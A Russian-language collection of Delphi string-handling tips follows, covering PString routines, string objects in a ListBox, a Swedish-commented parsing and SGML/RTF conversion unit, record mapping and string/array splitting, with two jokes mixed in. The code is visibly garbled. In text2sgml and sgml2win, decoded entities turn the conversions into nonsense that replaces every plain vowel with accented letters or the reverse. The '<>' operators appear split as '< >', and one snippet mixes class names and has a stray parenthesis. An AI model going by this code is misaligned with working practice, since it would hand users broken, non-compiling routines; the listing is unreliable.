Теперь о типе PString. На самом деле переменные этого типа указывают на такие же значения, как и LongString, но для переменных этого типа для всех операций по созданию/копированию/удалению нужно помнить об этих самых счетчиках ссылок. Иногда без этого типа не обойтись. Вот операции для этого типа (sysutils.pas):

{ String handling routines }
{ NewStr allocates a string on the heap.
NewStr is provided for backwards compatibility only. }
function NewStr(const S: string): PString;
{ DisposeStr disposes a string pointer that was
previously allocated using NewStr.
DisposeStr is provided for backwards compatibility only. }
procedure DisposeStr(P: PString);
{ AssignStr assigns a new dynamically allocated
string to the given string pointer.
AssignStr is provided for backwards compatibility only. }
procedure AssignStr(var P: PString; const S: string);

Можно отметить, что явно задать использование long strings можно декларацией.

var
sMyLongString: AnsiString;    // long dinamically allocated string
sMyWideString: WideString;    // wide string (UNICODE)
sMyShortString1: ShortString; // old-style string
sMyShortString2: String[255]; // old-style string, no more than 255 chars
Хотелось бы также предупредить наиболее частные ошибки при использовании длинных строк: Если Вы передаёте указатель PChar на буфер, взятый от длинной строки, в функцию, которая может изменить содержание буфера, то убедитесь, что на этот буфер указывает только одна строка. Это верно в случаях сложения строк, вызова UniqueString или SetLength и некоторых других; Если Вы используете длинные строки как аргументы или результаты для функций, располагающихся в DLL, то в DLL надо использовать модуль ShareMem; Не используйте длинные строки как члены структур типа record. Используйте там короткие строки или array[0..n] of char. Также нельзя использовать в структурах типа record динамические массивы. Данные ограничения отсутствуют для классов.

Строка как объект StringList.

Автор: Robert Wittig

Вы можете создать простой объект, инкапсулирующий строку:

Type
  TStrObj = Class ( tObject )
    Data : String;
  End;

Затем вы могли бы делать следующее:

With ListBox1 Do
Begin
  AddObject(Table1.Fields[0].AsString, TStrObject.Create );
  {
  Объект добавляется в конец списка, поэтому для его
  чтения установите индекс равным Count-1
  }
  TStrObj(Objects[Count-1]).Data := Table1.Fields[1].AsString);
End;

Теперь ваша обязанность заключается в том, что при удалении объекта из списка, вам необходимо также удалять связанный с ним объект:

{ для удаления элемента с Index I}
With ListBox1 Do
Begin
  Objects[I].Free;
  Delete(I);
End;

Функции для парсинга строк.

Здесь представлен модуль, в котором я разметил много методов для подобной работы. Некоторые функции поименованы по-шведски, но, может быть, Вы сможете понять, что они делают.

Вам потребуется один из методов, называющийся stringreplaceall, который принимает при параметра - исходную строку, подстроку для поиска и подстроку для замены, и возвращает измененную строку. Будьте осторожны, если Вы меняется одну подстроку на другую, чьей частью является первая. Вы должны делать это в два прохода, или Вы попадете в бесконечный цикл.

Так, если Вы имеете текст, содержащий слово Joe, и Вы хотите все его вхождения изменить на Joey, то Вы должны сделать сперва нечто похожее на:

text := stringreplaceall(text, 'Joe', 'Joeey');

И потом:

text := stringreplaceall(text, 'Joeey', 'Joey');

Листинг:

unit sparfunc;
interface
uses
  sysutils, classes;
function antaltecken (orgtext,soktext : string) : integer;
function beginsWith (text,teststreng : string):boolean;
function endsWith (text,teststreng : string):boolean;
function hamtastreng (text,strt,slut : string):string;
function hamtastrengmellan (text,strt,slut : string):string;
function nastadelare (progtext : string):integer;
function rtf2sgml (text : string) : string;
function sgml2win(text : string) : string;
function sgml2mac(text : string) : string;
function sgml2rtf(text : string) : string;
function sistamening(text : string) : string;
function stringnthfield (text,delim : string; vilken : integer) : string;
function stringreplace (text,byt,mot : string) : string;
function stringreplaceall (text,byt,mot : string) : string;
function text2sgml (text : string) : string;
procedure SurePath (pathen : string);
procedure KopieraFil (infil,utfil : string);
function LasInEnTextfil (filnamn : string) : string;
implementation
function LasInEnTextfil (filnamn : string) : string;
var
  infil : textfile;
  temptext, filtext : string;
begin
  filtext := '';
  //Oppna angiven fil och las in den
  try
    assignfile (infil,filnamn); //Koppla en textfilsvariabel till pathname
    reset (infil); //Oppna filen
    //Sa lange vi inte natt slutet
    while not eof(infil) do
    begin
      readln (infil,temptext); //Las in en rad
      filtext := filtext+temptext; //Lagg den till variabeln SGMLTEXT
    end;
  finally
    closefile (infil); //Stang filen
  end;
  result := filtext;
end;
procedure KopieraFil (infil,utfil : string);
var
  InStream : TFileStream;
  OutStream : TFileStream;
begin
  InStream := TFileStream.Create(infil,fmOpenRead);
  try
    OutStream := TFileStream.Create(utfil,fmOpenWrite or fmCreate);
    try
      OutStream.CopyFrom(InStream,0);
    finally
      OutStream.Free;
    end;
  finally
    InStream.Free;
  end;
end;
procedure SurePath (pathen : string);
var
  temprad,del1 : string;
  antal : integer;
begin
  antal := antaltecken (pathen,'\');
  if antal < 3 then
    createdir(pathen)
  else
  begin
    if pathen[length(pathen)]  <  >  '\' then
      pathen := pathen+'\';
    pathen := stringreplace(pathen,'\','/');
    del1 := copy(pathen,1,pos('\',pathen));
    pathen := stringreplace(pathen,del1,'');
    del1 := stringreplace(del1,'/','\');
    createdir (del1);
    while pathen  <  >  '' do
    begin
      temprad := copy(pathen,1,pos('\',pathen));
      pathen := stringreplace(pathen,temprad,'');
      del1 := del1+ temprad;
      temprad := '';
      createdir(del1);
    end;
  end;
end;
function antaltecken (orgtext,soktext : string) : integer;
var
  i,traffar,soklengd : integer;
begin
  traffar := 0;
  soklengd := length(soktext);
  for i := 1 to length(orgtext) do
    if soktext = copy(orgtext,i,soklengd) then
      traffar := traffar +1;
  result := traffar;
end;
function nastadelare (progtext : string):integer;
var
  i,j : integer;
begin
  i := pos('.',progtext);
  j := pos('!',progtext);
  if (j < i) and (j > 0) then
    i := j;
  j := pos('!',progtext);
  if (j < i) and (j > 0) then
    i := j;
  j := pos('?',progtext);
  if (j < i) and (j > 0) then
    i := j;
  result := i;
end;
function stringnthfield (text,delim : string; vilken : integer) : string;
var
  start,slut,i : integer;
  temptext : string;
begin
  start := 0;
  if vilken  > 0 then
  begin
    temptext := text;
    if vilken = 1 then
    begin
      start := 1;
      slut := pos (delim,text);
    end
    else
    begin
      for i:= 1 to vilken -1 do
      begin
        start := pos(delim,temptext)+length(delim);
        temptext := copy(temptext,start,length(temptext));
      end;
      slut := pos (delim,temptext);
    end;
    if start  > 0 then
    begin
      if slut = 0 then
        slut := length(text);
      result := copy (temptext,1,slut-1);
    end
    else
      result := text;
  end
  else
    result := text;
end;
function StringReplaceAll (text,byt,mot : string ) :string;
{Funktion for att byta ut alla forekomster av en strang mot en
annan strang in en strang. Den konverterade strangen returneras.
Om byt finns i mot maste vi ga via en temporar variant!!!}
var
  plats : integer;
begin
  while pos(byt,text)  >  0 do
  begin
    plats := pos(byt,text);
    delete (text,plats,length(byt));
    insert (mot,text,plats);
  end;
  result := text;
end;
function StringReplace (text,byt,mot : string ) :string;
{Funktion for att byta ut den forsta forekomsten av en strang mot en
annan strang in en strang. Den konverterade strangen returneras.}
var
  plats : integer;
begin
  if pos(byt,text)  >  0 then
  begin
    plats := pos(byt,text);
    delete (text,plats,length(byt));
    insert (mot,text,plats);
  end;
  result := text;
end;
function hamtastreng (text,strt,slut : string):string;
{Funktion for att hamta ut en delstrang ur en annan strang.
Om start och slut finns i text sa returneras en strang dar start
ingar i borjan och fram till tecknet fore slut.}
var
  stplats,slutplats : integer;
  resultat : string;
begin
  resultat :='';
  stplats := pos(strt,text);
  if stplats  > 0 then
  begin
    text := copy (text,stplats,length(text));
    slutplats := pos(slut,text);
    if slutplats  > 0 then
      resultat := copy(text,1,slutplats-1);
  end;
  result := resultat;
end;
function hamtastrengmellan (text,strt,slut : string):string;
{Funktion for att hamta ut en delstrang ur en annan strang.
Om start och slut finns i text sa returneras en strang dar start
ingar i borjan och fram till tecknet fore slut.}
var
  stplats,slutplats : integer;
  resultat : string;
begin
  resultat :='';
  stplats := pos(strt,text);
  if stplats  > 0 then
  begin
    text := copy (text,stplats+length(strt),length(text));
    slutplats := pos(slut,text);
    if slutplats  > 0 then
      resultat := copy(text,1,slutplats-1);
  end;
  result := resultat;
end;
function endsWith (text,teststreng : string):boolean;
{Kollar om en strang slutar med en annan strang.
Returnerar true eller false.}
var
  textlngd,testlngd : integer;
  kollstreng : string;
begin
  testlngd := length(teststreng);
  textlngd := length (text);
  if textlngd  >  testlngd then
  begin
    kollstreng := copy (text,(textlngd+1)-testlngd,testlngd);
    if kollstreng = teststreng then
      result := true
    else
      result := false;
  end
  else
    result := false;
end;
function beginsWith (text,teststreng : string):boolean;
{Funktion for att kolla om text borjar med teststreng.
Returnerar true eller false.}
var
  textlngd,testlngd : integer;
  kollstreng : string;
begin
  testlngd := length(teststreng);
  textlngd := length (text);
  if textlngd  > = testlngd then
  begin
    kollstreng := copy (text,1,testlngd);
    if kollstreng = teststreng then
      result := true
    else
      result := false;
  end
  else
    result := false;
end;
function sistamening(text : string) : string;
//Funktion for att ta fram sista meningen i en strang. Soker pa !?.
var
  i:integer;
begin
  i :=length(text)-1;
  while (copy(text,i,1) <  >  '.') and (copy(text,i,1) <  >  '!')
  and (copy(text,i,1) <  >  '?') do
  begin
    dec(i);
    if i =1 then
      break
  end;
  if i > 1 then
    result := copy(text,i,length(text))
  else
    result := '';
end;
function text2sgml(text : string) : string;
{Funktion som byter ut alla ovanliga tecken mot entiteter.
Den fardiga texten returneras.}
begin
  text := stringreplaceall (text,'&','##amp;');
  text := stringreplaceall (text,'##amp','&amp');
  text := stringreplaceall (text,'a','å');
  text := stringreplaceall (text,'A','Å');
  text := stringreplaceall (text,'a','ä');
  text := stringreplaceall (text,'A','Ä');
  text := stringreplaceall (text,'a','á');
  text := stringreplaceall (text,'A','Á');
  text := stringreplaceall (text,'a','à');
  text := stringreplaceall (text,'A','À');
  text := stringreplaceall (text,'?','æ');
  text := stringreplaceall (text,'?','&Aelig;');
  text := stringreplaceall (text,'A','Â');
  text := stringreplaceall (text,'a','â');
  text := stringreplaceall (text,'a','ã');
  text := stringreplaceall (text,'A','Ã');
  text := stringreplaceall (text,'c','ç');
  text := stringreplaceall (text,'C','Ç');
  text := stringreplaceall (text,'e','é');
  text := stringreplaceall (text,'E','É');
  text := stringreplaceall (text,'e','ê');
  text := stringreplaceall (text,'E','Ê');
  text := stringreplaceall (text,'e','ë');
  text := stringreplaceall (text,'E','Ë');
  text := stringreplaceall (text,'e','è');
  text := stringreplaceall (text,'E','È');
  text := stringreplaceall (text,'i','î');
  text := stringreplaceall (text,'I','Î');
  text := stringreplaceall (text,'i','í');
  text := stringreplaceall (text,'I','Í');
  text := stringreplaceall (text,'i','ì');
  text := stringreplaceall (text,'I','Ì');
  text := stringreplaceall (text,'i','ï');
  text := stringreplaceall (text,'I','Ï');
  text := stringreplaceall (text,'n','ñ');
  text := stringreplaceall (text,'N','Ñ');
  text := stringreplaceall (text,'o','ö');
  text := stringreplaceall (text,'O','Ö');
  text := stringreplaceall (text,'o','ò');
  text := stringreplaceall (text,'O','Ò');
  text := stringreplaceall (text,'o','ó');
  text := stringreplaceall (text,'O','Ó');
  text := stringreplaceall (text,'o','ø');
  text := stringreplaceall (text,'O','Ø');
  text := stringreplaceall (text,'O','Ô');
  text := stringreplaceall (text,'o','ô');
  text := stringreplaceall (text,'o','õ');
  text := stringreplaceall (text,'O','Õ');
  text := stringreplaceall (text,'u','ü');
  text := stringreplaceall (text,'U','Ü');
  text := stringreplaceall (text,'u','ú');
  text := stringreplaceall (text,'U','Ú');
  text := stringreplaceall (text,'U','Ù');
  text := stringreplaceall (text,'u','ù');
  text := stringreplaceall (text,'u','û');
  text := stringreplaceall (text,'U','Û');
  text := stringreplaceall (text,'y','ý');
  text := stringreplaceall (text,'Y','Ý');
  text := stringreplaceall (text,'y','ÿ');
  text := stringreplaceall (text,'|',' ');
  result := text;
end;
function sgml2win(text : string) : string;
{Funktion som ersatter alla entiteter mot deras tecken i
windows. Den fardiga strangen returneras.}
begin
  text := stringreplaceall (text,'á','a');
  text := stringreplaceall (text,'Á','A');
  text := stringreplaceall (text,'æ','?');
  text := stringreplaceall (text,'&Aelig;','?');
  text := stringreplaceall (text,'à','a');
  text := stringreplaceall (text,'À','A');
  text := stringreplaceall (text,'å','a');
  text := stringreplaceall (text,'Å','A');
  text := stringreplaceall (text,'ä','a');
  text := stringreplaceall (text,'Ä','A');
  text := stringreplaceall (text,'Â' ,'A');
  text := stringreplaceall (text,'â' ,'a');
  text := stringreplaceall (text,'ã','a');
  text := stringreplaceall (text,'Ã','A');
  text := stringreplaceall (text,'ç','c');
  text := stringreplaceall (text,'Ç','C');
  text := stringreplaceall (text,'é','e');
  text := stringreplaceall (text,'É','E');
  text := stringreplaceall (text,'è','e');
  text := stringreplaceall (text,'È','E');
  text := stringreplaceall (text,'ê' ,'e');
  text := stringreplaceall (text,'Ê' ,'E');
  text := stringreplaceall (text,'ë' ,'e');
  text := stringreplaceall (text,'Ë' ,'E');
  text := stringreplaceall (text,'î' ,'i');
  text := stringreplaceall (text,'Î' ,'I');
  text := stringreplaceall (text,'í','i');
  text := stringreplaceall (text,'Í','I');
  text := stringreplaceall (text,'ì','i');
  text := stringreplaceall (text,'Ì','I');
  text := stringreplaceall (text,'ï' ,'i');
  text := stringreplaceall (text,'Ï' ,'I');
  text := stringreplaceall (text,'ñ','n');
  text := stringreplaceall (text,'Ñ','N');
  text := stringreplaceall (text,'ò','o');
  text := stringreplaceall (text,'Ò','O');
  text := stringreplaceall (text,'ó','o');
  text := stringreplaceall (text,'Ó','O');
  text := stringreplaceall (text,'ö','o');
  text := stringreplaceall (text,'Ö','O');
  text := stringreplaceall (text,'ø','o');
  text := stringreplaceall (text,'Ø','O');
  text := stringreplaceall (text,'Ô' ,'O');
  text := stringreplaceall (text,'ô' ,'o');
  text := stringreplaceall (text,'õ','o');
  text := stringreplaceall (text,'Õ','O');
  text := stringreplaceall (text,'ü','u');
  text := stringreplaceall (text,'Ü','U');
  text := stringreplaceall (text,'ú','u');
  text := stringreplaceall (text,'Ú','U');
  text := stringreplaceall (text,'û' ,'u');
  text := stringreplaceall (text,'Û' ,'U');
  text := stringreplaceall (text,'Ù','U');
  text := stringreplaceall (text,'ù','u');
  text := stringreplaceall (text,'ý','y');
  text := stringreplaceall (text,'Ý','Y');
  text := stringreplaceall (text,'ÿ' ,'y');
  text := stringreplaceall (text,' ','|');
  text := stringreplaceall (text,'&','&');
  result := text;
end;
function sgml2mac(text : string) : string;
{Funktion som ersatter alla entiteter mot deras tecken i
mac. Den fardiga strangen returneras.}
begin
  text := stringreplaceall (text,'á',chr(135));
  text := stringreplaceall (text,'Á',chr(231));
  text := stringreplaceall (text,'æ',chr(190));
  text := stringreplaceall (text,'&Aelig;',chr(174));
  text := stringreplaceall (text,'à',chr(136));
  text := stringreplaceall (text,'À',chr(203));
  text := stringreplaceall (text,'å',chr(140));
  text := stringreplaceall (text,'Å',chr(129));
  text := stringreplaceall (text,'Ä',chr(128));
  text := stringreplaceall (text,'ä',chr(138));
  text := stringreplaceall (text,'Â' ,chr(229));
  text := stringreplaceall (text,'â' ,chr(137));
  text := stringreplaceall (text,'ã',chr(139));
  text := stringreplaceall (text,'Ã',chr(204));
  text := stringreplaceall (text,'ç',chr(141));
  text := stringreplaceall (text,'Ç',chr(130));
  text := stringreplaceall (text,'é',chr(142));
  text := stringreplaceall (text,'É',chr(131));
  text := stringreplaceall (text,'è',chr(143));
  text := stringreplaceall (text,'È',chr(233));
  text := stringreplaceall (text,'ê' ,chr(144));
  text := stringreplaceall (text,'Ê' ,chr(230));
  text := stringreplaceall (text,'ë' ,chr(145));
  text := stringreplaceall (text,'Ë' ,chr(232));
  text := stringreplaceall (text,'î' ,chr(148));
  text := stringreplaceall (text,'Î' ,chr(235));
  text := stringreplaceall (text,'í' ,chr(146));
  text := stringreplaceall (text,'Í' ,chr(234));
  text := stringreplaceall (text,'ì' ,chr(147));
  text := stringreplaceall (text,'Ì' ,chr(237));
  text := stringreplaceall (text,'ï' ,chr(149));
  text := stringreplaceall (text,'Ï' ,chr(236));
  text := stringreplaceall (text,'ñ',chr(150));
  text := stringreplaceall (text,'Ñ',chr(132));
  text := stringreplaceall (text,'ò',chr(152));
  text := stringreplaceall (text,'Ò',chr(241));
  text := stringreplaceall (text,'ó',chr(151));
  text := stringreplaceall (text,'Ó',chr(238));
  text := stringreplaceall (text,'Ô' ,chr(239));
  text := stringreplaceall (text,'ô' ,chr(153));
  text := stringreplaceall (text,'ø',chr(191));
  text := stringreplaceall (text,'Ø',chr(175));
  text := stringreplaceall (text,'õ',chr(155));
  text := stringreplaceall (text,'Õ',chr(239));
  text := stringreplaceall (text,'ö',chr(154));
  text := stringreplaceall (text,'Ö',chr(133));
  text := stringreplaceall (text,'ü',chr(159));
  text := stringreplaceall (text,'Ü',chr(134));
  text := stringreplaceall (text,'ú',chr(156));
  text := stringreplaceall (text,'Ú',chr(242));
  text := stringreplaceall (text,'û' ,chr(158));
  text := stringreplaceall (text,'Û' ,chr(243));
  text := stringreplaceall (text,'Ù',chr(244));
  text := stringreplaceall (text,'ù',chr(157));
  text := stringreplaceall (text,'ý','y');
  text := stringreplaceall (text,'ÿ' ,chr(216));
  text := stringreplaceall (text,'Ÿ' ,chr(217));
  text := stringreplaceall (text,' ',' ');
  text := stringreplaceall (text,'&',chr(38));
  result := text;
end;
function sgml2rtf(text : string) : string;
{Funktion for att byta ut sgml-entiteter mot de koder som
galler i RTF-textrutorna.}
begin
  text := stringreplaceall (text,'}','#]#');
  text := stringreplaceall (text,'{','#[#');
  text := stringreplaceall (text,'\','HSALSKCAB');
  text := stringreplaceall (text,'HSALSKCAB','\\');
  text := stringreplaceall (text,'æ','\'+chr(39)+'c6');
  text := stringreplaceall (text,'&Aelig;','\'+chr(39)+'e6');
  text := stringreplaceall (text,'á','\'+chr(39)+'e1');
  text := stringreplaceall (text,'Á','\'+chr(39)+'c1');
  text := stringreplaceall (text,'à','\'+chr(39)+'e0');
  text := stringreplaceall (text,'À','\'+chr(39)+'c0');
  text := stringreplaceall (text,'å','\'+chr(39)+'e5');
  text := stringreplaceall (text,'Å','\'+chr(39)+'c5');
  text := stringreplaceall (text,'Â','\'+chr(39)+'c2');
  text := stringreplaceall (text,'â','\'+chr(39)+'e2');
  text := stringreplaceall (text,'ã','\'+chr(39)+'e3');
  text := stringreplaceall (text,'Ã','\'+chr(39)+'c3');
  text := stringreplaceall (text,'ä','\'+chr(39)+'e4');
  text := stringreplaceall (text,'Ä','\'+chr(39)+'c4');
  text := stringreplaceall (text,'ç','\'+chr(39)+'e7');
  text := stringreplaceall (text,'Ç','\'+chr(39)+'c7');
  text := stringreplaceall (text,'é','\'+chr(39)+'e9');
  text := stringreplaceall (text,'É','\'+chr(39)+'c9');
  text := stringreplaceall (text,'è','\'+chr(39)+'e8');
  text := stringreplaceall (text,'È','\'+chr(39)+'c8');
  text := stringreplaceall (text,'ê','\'+chr(39)+'ea');
  text := stringreplaceall (text,'Ê','\'+chr(39)+'ca');
  text := stringreplaceall (text,'ë','\'+chr(39)+'eb');
  text := stringreplaceall (text,'Ë','\'+chr(39)+'cb');
  text := stringreplaceall (text,'î','\'+chr(39)+'ee');
  text := stringreplaceall (text,'Î','\'+chr(39)+'ce');
  text := stringreplaceall (text,'í','\'+chr(39)+'ed');
  text := stringreplaceall (text,'Í','\'+chr(39)+'cd');
  text := stringreplaceall (text,'ì','\'+chr(39)+'ec');
  text := stringreplaceall (text,'Ì','\'+chr(39)+'cc');
  text := stringreplaceall (text,'ï' ,'\'+chr(39)+'ef');
  text := stringreplaceall (text,'Ï' ,'\'+chr(39)+'cf');
  text := stringreplaceall (text,'ñ','\'+chr(39)+'f1');
  text := stringreplaceall (text,'Ñ','\'+chr(39)+'d1');
  text := stringreplaceall (text,'ö','\'+chr(39)+'f6');
  text := stringreplaceall (text,'Ö','\'+chr(39)+'d6');
  text := stringreplaceall (text,'ó','\'+chr(39)+'f3');
  text := stringreplaceall (text,'Ó','\'+chr(39)+'d3');
  text := stringreplaceall (text,'ò','\'+chr(39)+'f2');
  text := stringreplaceall (text,'Ò','\'+chr(39)+'d2');
  text := stringreplaceall (text,'ø','\'+chr(39)+'f8');
  text := stringreplaceall (text,'Ø','\'+chr(39)+'d8');
  text := stringreplaceall (text,'Ô','\'+chr(39)+'d4');
  text := stringreplaceall (text,'ô','\'+chr(39)+'f4');
  text := stringreplaceall (text,'õ','\'+chr(39)+'f5');
  text := stringreplaceall (text,'Õ','\'+chr(39)+'d5');
  text := stringreplaceall (text,'ú','\'+chr(39)+'fa');
  text := stringreplaceall (text,'Ú','\'+chr(39)+'da');
  text := stringreplaceall (text,'û','\'+chr(39)+'fb');
  text := stringreplaceall (text,'Û','\'+chr(39)+'db');
  text := stringreplaceall (text,'Ù','\'+chr(39)+'d9');
  text := stringreplaceall (text,'ù','\'+chr(39)+'f9');
  text := stringreplaceall (text,'ü','\'+chr(39)+'fc');
  text := stringreplaceall (text,'Ü','\'+chr(39)+'dc');
  text := stringreplaceall (text,'ý','\'+chr(39)+'fd');
  text := stringreplaceall (text,'Ý','\'+chr(39)+'dd');
  text := stringreplaceall (text,'ÿ','\'+chr(39)+'ff');
  text := stringreplaceall (text,'£','\'+chr(39)+'a3');
  text := stringreplaceall (text,'#]#','\}');
  text := stringreplaceall (text,'#[#','\{');
  text := stringreplaceall (text,' ','|');
  text := stringreplaceall (text,'&','&');
  result := text;
end;
function rtf2sgml (text : string) : string;
{Funktion for att konvertera en RTF-rad till SGML-text.}
var
  temptext : string;
  start : integer;
begin
  text := stringreplaceall (text,'&','##amp;');
  text := stringreplaceall (text,'##amp','&amp');
  text := stringreplaceall (text,'\'+chr(39)+'c6','æ');
  text := stringreplaceall (text,'\'+chr(39)+'e6','&Aelig;');
  text := stringreplaceall (text,'\'+chr(39)+'e5','å');
  text := stringreplaceall (text,'\'+chr(39)+'c5','Å');
  text := stringreplaceall (text,'\'+chr(39)+'e4','ä');
  text := stringreplaceall (text,'\'+chr(39)+'c4','Ä');
  text := stringreplaceall (text,'\'+chr(39)+'e1','á');
  text := stringreplaceall (text,'\'+chr(39)+'c1','Á');
  text := stringreplaceall (text,'\'+chr(39)+'e0','à');
  text := stringreplaceall (text,'\'+chr(39)+'c0','À');
  text := stringreplaceall (text,'\'+chr(39)+'c2','Â');
  text := stringreplaceall (text,'\'+chr(39)+'e2','â');
  text := stringreplaceall (text,'\'+chr(39)+'e3','ã');
  text := stringreplaceall (text,'\'+chr(39)+'c3','Ã');
  text := stringreplaceall (text,'\'+chr(39)+'e7','ç');
  text := stringreplaceall (text,'\'+chr(39)+'c7','Ç');
  text := stringreplaceall (text,'\'+chr(39)+'e9','é');
  text := stringreplaceall (text,'\'+chr(39)+'c9','É');
  text := stringreplaceall (text,'\'+chr(39)+'e8','è');
  text := stringreplaceall (text,'\'+chr(39)+'c8','È');
  text := stringreplaceall (text,'\'+chr(39)+'ea','ê');
  text := stringreplaceall (text,'\'+chr(39)+'ca','Ê');
  text := stringreplaceall (text,'\'+chr(39)+'eb','ë');
  text := stringreplaceall (text,'\'+chr(39)+'cb','Ë');
  text := stringreplaceall (text,'\'+chr(39)+'ee','î');
  text := stringreplaceall (text,'\'+chr(39)+'ce','Î');
  text := stringreplaceall (text,'\'+chr(39)+'ed','í');
  text := stringreplaceall (text,'\'+chr(39)+'cd','Í');
  text := stringreplaceall (text,'\'+chr(39)+'ec','ì');
  text := stringreplaceall (text,'\'+chr(39)+'cc','Ì');
  text := stringreplaceall (text,'\'+chr(39)+'ef','ï');
  text := stringreplaceall (text,'\'+chr(39)+'cf','Ï');
  text := stringreplaceall (text,'\'+chr(39)+'f1','ñ');
  text := stringreplaceall (text,'\'+chr(39)+'d1','Ñ');
  text := stringreplaceall (text,'\'+chr(39)+'f3','ó');
  text := stringreplaceall (text,'\'+chr(39)+'d3','Ó');
  text := stringreplaceall (text,'\'+chr(39)+'f2','ò');
  text := stringreplaceall (text,'\'+chr(39)+'d2','Ò');
  text := stringreplaceall (text,'\'+chr(39)+'d4','Ô');
  text := stringreplaceall (text,'\'+chr(39)+'f4','ô');
  text := stringreplaceall (text,'\'+chr(39)+'f5','õ');
  text := stringreplaceall (text,'\'+chr(39)+'d5','Õ');
  text := stringreplaceall (text,'\'+chr(39)+'f8','ø');
  text := stringreplaceall (text,'\'+chr(39)+'d8','Ø');
  text := stringreplaceall (text,'\'+chr(39)+'f6','ö');
  text := stringreplaceall (text,'\'+chr(39)+'d6','Ö');
  text := stringreplaceall (text,'\'+chr(39)+'fc','ü');
  text := stringreplaceall (text,'\'+chr(39)+'dc','Ü');
  text := stringreplaceall (text,'\'+chr(39)+'fa','ú');
  text := stringreplaceall (text,'\'+chr(39)+'da','Ú');
  text := stringreplaceall (text,'\'+chr(39)+'fb','û');
  text := stringreplaceall (text,'\'+chr(39)+'db','Û');
  text := stringreplaceall (text,'\'+chr(39)+'d9','Ù');
  text := stringreplaceall (text,'\'+chr(39)+'f9','ù');
  text := stringreplaceall (text,'\'+chr(39)+'fd','ý');
  text := stringreplaceall (text,'\'+chr(39)+'dd','Ý');
  text := stringreplaceall (text,'\'+chr(39)+'ff','ÿ');
  text := stringreplaceall (text,'|',' ');
  text := stringreplaceall (text,'\'+chr(39)+'a3','£');
  text := stringreplaceall (text,'\}','#]#');
  text := stringreplaceall (text,'\{','#[#');
  if (beginswith (text, '{\rtf1\')) or
  (beginswith (text, '{\colortbl\')) then
  begin
    result := '';
    exit;
  end;
  //text := stringreplaceall (text,'{\fonttbl',''); {Skall alltid tas bort}
  //temptext := hamtastreng (text,'{\rtf1','{\f0');{Skall alltid tas bort}
  //text := stringreplace (text,temptext,'');
  //temptext := hamtastreng (text,'{\f0','{\f1');{Skall alltid tas bort}
  //text := stringreplace (text,temptext,'');
  //temptext := hamtastreng (text,'{\f1','{\f2');{Skall alltid tas bort}
  //text := stringreplace (text,temptext,'');
  //text := stringreplaceall (text,'{\f2\fswiss\fprq2 System;}}','');{Skall alltid tas bort}
  //text := stringreplaceall (text,'{\colortbl\red0\green0\blue0;}','');{Skall alltid tas bort}
  {I version 2.01 av Delphi finns inte \cf0 med i RTF-rutan. Tog darfor bort
  det efter \fs16 och la istallet en egen tvatt av \cf0.}
  //temptext := hamtastreng (text,'{\rtf1','\deflang');
  //text := stringreplace (text,temptext,''); {Hamta och radera allt fran start till deflang}
  text := stringreplaceall (text,'\cf0','');
  temptext := hamtastreng (text,'\deflang','\pard');{Plocka fran deflang till pard for att fa }
  text := stringreplace (text,temptext,'');{oavsett vilken lang det ar. Norska o svenska ar olika}
  text := stringreplaceall (text,'\ltrpar','');
  text := stringreplaceall (text,'\ql','');
  text := stringreplaceall (text,'\ltrch','');
  {Har skall vi plocka bort fs och flera olika siffror beroende pa vilka alternativ vi godkanner.}
  //text := stringreplaceall (text,'\fs16','');{8 punkter}
  //text := stringreplaceall (text,'\fs20','');{10 punkter}
  {Nu stadar vi istallet bort alla tvasiffriga fontsize.}
  while pos ('\fs',text)  > 0 do
  begin
    //application.processmessages;
    start := pos ('\fs',text);
    Delete(text,start,5);
  end;
  while pos ('\f',text)  > 0 do
  begin
    //application.processmessages;
    start := pos ('\f',text);
    Delete(text,start,3);
  end;
  text := stringreplaceall (text,'\pard\li200-200{\*\pn\pnlvlblt\pnf1\pnindent200{\pntxtb\'+chr(39)+'b7}}\plain ',' < /P >  < UL > ');
  text := stringreplaceall (text,'{\pntext\'+chr(39)+'b7\tab}',' < LI > ');
  text := stringreplaceall (text, '\par  < LI > ',' < LI > ');
  text := stringreplaceall (text, '\par  < UL > ',' < UL > ');
  text := stringreplaceall (text,'\pard\plain ',' < P > ');
  text := stringreplaceall (text,'\par \plain\b\ul ',' < /P >  < MELLIS > ');
  text := stringreplaceall (text,'\plain\b\ul ',' < /P >  < MELLIS > ');
  text := stringreplaceall (text,'\plain',' < /MELLIS > ');
  text := stringreplaceall (text,'\par }',' < /P > ');
  if (pos ('\par \tab ',text) > 0) or (pos (' < P > \tab ',text) > 0) then
  begin
    text := stringreplaceall (text,'\par \tab ',' < TR >  < TD > ');
    text := stringreplaceall (text,' < P > \tab ',' < TR >  < TD > ');
    text := stringreplaceall (text,'\tab ',' < /TD >  < TD > ');
  end
  else
    text := stringreplaceall (text,'\tab ','');
  text := stringreplaceall (text,'\par ',' < /P >  < P > ');
  text := stringreplaceall (text,'#]#','}');
  text := stringreplaceall (text,'#[#','{');
  text := stringreplaceall (text,'\\','\');
  if pos(' < TD > ',text) > 0 then
    text := text+' < /TD >  < /TR > ';
  if pos(' < LI > ',text) > 0 then
    text := text+' < /LI > ';
  result := text;
end;
end.

Отобразить строку на определённую структуру.

Новый фильм от создателей Матрицы : Romeo Must Die Генеральный спонсор : Microsoft
type
  TEmployee = record 
    cNo: array [0..3] of Char; 
    cName: array [0..7] of Char; 
  end; 
  PEmployee = ^TEmployee; 
procedure ParseData; 
const 
  sData = '0001Mosquito'; 
var 
  sNo, sName: string; 
begin 
  with PEmployee(Pointer((@sData)^))^ do  
  begin 
    sNo   := cNo;      // sNo = '0001' 
    sName := cName;    // sName = 'Mosquito' 
  end 
end;

Из строки в массив и наоборот.

Программист с женой отправились в супермаркет. Сделав все необходимые закупки, они вышли на улицу, и жена сказала: - Стой здесь и смотри в оба за этими десятью сумками, пока я схожу и разыщу такси. Когда жена вернулась, то увидела обалдевшего мужа, переставляющего сумки с места на место. Программист: - Ты сказала, что здесь десять сумок, а я насчитал только 9! Жена: - Но их было десять! Программист: - Нет, давай вместе считать: 0, 1, 2, 3......
function StrToArrays(str, r: string; out Temp: TStrings): Boolean;
var
  j: integer;
begin
  if temp <> nil then
  begin
    temp.Clear;
    while str <> '' do
    begin
      j := Pos(r,str);
      if j=0 then
        j := Length(str) + 1;
      temp.Add(Copy(Str,1,j-1));
      Delete(Str,1,j+length(r)-1);
    end;
    Result:=True;
  end
  else
    Result:=False;
end;
function ArrayToStr(str: TStrings; r: string): string;
var
  i: integer;
begin
  Result:='';
  if str = nil then
    Exit;
  for i := 0 to Str.Count-1 do
    Result := Result + Str.Strings[i] + r;
end;

